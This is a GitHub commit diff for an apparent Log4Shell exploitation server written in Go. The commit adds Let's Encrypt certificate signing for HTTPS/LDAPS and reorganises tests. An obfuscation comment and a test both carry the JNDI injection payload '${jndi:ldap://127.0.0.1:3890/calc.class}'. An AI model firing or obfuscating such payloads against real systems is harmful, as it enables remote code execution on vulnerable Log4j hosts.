Skip to content

Commit c158933

Browse files
committed
add autocert for sign certificate by Let's Encrypt.
1 parent b9d0e3c commit c158933

File tree

6 files changed

+108
-81
lines changed

6 files changed

+108
-81
lines changed

autocert.go

Lines changed: 23 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,27 +1,31 @@
11
package log4shell
22

33
import (
4-
"fmt"
4+
"crypto/tls"
5+
"os"
56

7+
"github.com/pkg/errors"
68
"golang.org/x/crypto/acme/autocert"
79
)
810

9-
func testAutoCert() {
10-
11-
listener := autocert.NewListener("")
12-
13-
mgr := autocert.Manager{}
14-
mgr.TLSConfig()
15-
16-
conn, err := listener.Accept()
17-
fmt.Println(err)
18-
19-
buf := make([]byte, 4096)
20-
n, err := conn.Read(buf)
21-
fmt.Println("asdasdads", err)
22-
fmt.Println(string(buf[:n]))
23-
24-
fmt.Println(conn.RemoteAddr())
25-
26-
// m:= autocert.Manager{}
11+
func TestAutoCert(domain string) (*tls.Certificate, error) {
12+
const certDir = "autocert"
13+
14+
err := os.MkdirAll(certDir, 0700)
15+
if err != nil {
16+
return nil, errors.WithStack(err)
17+
}
18+
mgr := autocert.Manager{
19+
Prompt: autocert.AcceptTOS,
20+
HostPolicy: autocert.HostWhitelist(domain),
21+
Cache: autocert.DirCache(certDir),
22+
}
23+
clientHello := tls.ClientHelloInfo{
24+
ServerName: domain,
25+
}
26+
tlsCert, err := mgr.GetCertificate(&clientHello)
27+
if err != nil {
28+
return nil, errors.Wrap(err, "failed to sign certificate")
29+
}
30+
return tlsCert, nil
2731
}

autocert_test.go

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1 +1,64 @@
11
package log4shell
2+
3+
import (
4+
"crypto/tls"
5+
"fmt"
6+
"net/http"
7+
"testing"
8+
9+
"github.com/stretchr/testify/require"
10+
"golang.org/x/crypto/acme/autocert"
11+
)
12+
13+
func TestNewListener(t *testing.T) {
14+
const testDomain = "test"
15+
16+
mux := http.NewServeMux()
17+
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
18+
fmt.Fprintf(w, "Hello, TLS user! Your config: %+v", r.TLS)
19+
})
20+
server := http.Server{}
21+
server.Handler = mux
22+
go func() {
23+
24+
http.DefaultClient.Transport = &http.Transport{}
25+
26+
listener := autocert.NewListener(testDomain)
27+
conn, err := listener.Accept()
28+
require.NoError(t, err)
29+
30+
buf := make([]byte, 4096)
31+
n, err := conn.Read(buf)
32+
fmt.Println("asdasdads", err)
33+
fmt.Println(string(buf[:n]))
34+
35+
fmt.Println(conn.RemoteAddr())
36+
37+
// log.Fatal(server.Serve(autocert.NewListener("example.com")))
38+
}()
39+
40+
cfg := tls.Config{
41+
ServerName: testDomain,
42+
}
43+
44+
client := http.Client{
45+
Transport: &http.Transport{
46+
TLSClientConfig: &cfg,
47+
},
48+
}
49+
50+
req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:443/", nil)
51+
require.NoError(t, err)
52+
req.Host = testDomain
53+
54+
resp, err := client.Do(req)
55+
require.NoError(t, err)
56+
57+
fmt.Println(resp.StatusCode)
58+
59+
// conn, err := tls.Dial("tcp", "127.0.0.1:443", &cfg)
60+
// require.NoError(t, err)
61+
//
62+
// _, err = conn.Write([]byte{1, 2, 3, 4})
63+
// require.NoError(t, err)
64+
}

cmd/main.go

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
package main
22

33
import (
4-
"crypto/tls"
54
"flag"
65
"fmt"
76
"log"
@@ -59,8 +58,13 @@ func main() {
5958
}
6059
// load tls certificate
6160
if cfg.EnableTLS {
62-
cfg.TLSCert, err = tls.LoadX509KeyPair(crt, key)
61+
tlsCert, err := log4shell.TestAutoCert(cfg.Hostname)
6362
checkError(err)
63+
cfg.TLSCert = *tlsCert
64+
fmt.Println("Let's Encrypt sign certificate successfully")
65+
66+
// cfg.TLSCert, err = tls.LoadX509KeyPair(crt, key)
67+
// checkError(err)
6468
}
6569
cfg.LogOut = os.Stdout
6670

log4shell.go

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -165,8 +165,14 @@ func (srv *Server) Start() error {
165165
return err
166166
case <-time.After(250 * time.Millisecond):
167167
}
168-
srv.logger.Println("[info]", "start http server", srv.httpListener.Addr())
169-
srv.logger.Println("[info]", "start ldap server", srv.ldapListener.Addr())
168+
169+
if srv.enableTLS {
170+
srv.logger.Println("[info]", "start https server", srv.httpListener.Addr())
171+
srv.logger.Println("[info]", "start ldaps server", srv.ldapListener.Addr())
172+
} else {
173+
srv.logger.Println("[info]", "start http server", srv.httpListener.Addr())
174+
srv.logger.Println("[info]", "start ldap server", srv.ldapListener.Addr())
175+
}
170176
srv.logger.Println("[info]", "start log4shell server successfully")
171177
return nil
172178
}

obfuscate.go

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,14 @@ import (
66
)
77

88
// TODO output generated string
9+
// var obf string
10+
// flag.StringVar(&obf, "obf", "", "")
11+
// flag.Parse()
12+
//
13+
// if obf != "" {
14+
// fmt.Println(log4shell.Obfuscate(obf))
15+
// os.Exit(0)
16+
// }
917

1018
// raw: ${jndi:ldap://127.0.0.1:3890/calc.class}
1119
//

obfuscate_test.go

Lines changed: 0 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -1,69 +1,11 @@
11
package log4shell
22

33
import (
4-
"crypto/tls"
54
"fmt"
6-
"net/http"
75
"testing"
8-
9-
"github.com/stretchr/testify/require"
10-
"golang.org/x/crypto/acme/autocert"
116
)
127

138
func TestObfuscate(t *testing.T) {
149
obfuscated := Obfuscate("${jndi:ldap://127.0.0.1:3890/calc.class}")
1510
fmt.Println(obfuscated)
1611
}
17-
18-
func TestNewListener(t *testing.T) {
19-
const testDomain = "test"
20-
21-
mux := http.NewServeMux()
22-
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
23-
fmt.Fprintf(w, "Hello, TLS user! Your config: %+v", r.TLS)
24-
})
25-
server := http.Server{}
26-
server.Handler = mux
27-
go func() {
28-
29-
http.DefaultClient.Transport = &http.Transport{}
30-
31-
listener := autocert.NewListener(testDomain)
32-
conn, err := listener.Accept()
33-
require.NoError(t, err)
34-
35-
buf := make([]byte, 4096)
36-
n, err := conn.Read(buf)
37-
fmt.Println("asdasdads", err)
38-
fmt.Println(string(buf[:n]))
39-
40-
fmt.Println(conn.RemoteAddr())
41-
42-
// log.Fatal(server.Serve(autocert.NewListener("example.com")))
43-
}()
44-
45-
cfg := tls.Config{
46-
ServerName: testDomain,
47-
}
48-
49-
client := http.Client{
50-
Transport: &http.Transport{
51-
TLSClientConfig: &cfg,
52-
},
53-
}
54-
55-
req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:443/", nil)
56-
require.NoError(t, err)
57-
req.Host = testDomain
58-
59-
resp, err := client.Do(req)
60-
require.NoError(t, err)
61-
62-
fmt.Println(resp.StatusCode)
63-
64-
// conn, err := tls.Dial("tcp", "127.0.0.1:443", &cfg)
65-
// require.NoError(t, err)
66-
//
67-
// _, err = conn.Write([]byte{1, 2, 3, 4})
68-
// require.NoError(t, err)
69-
}

0 commit comments

Comments
 (0)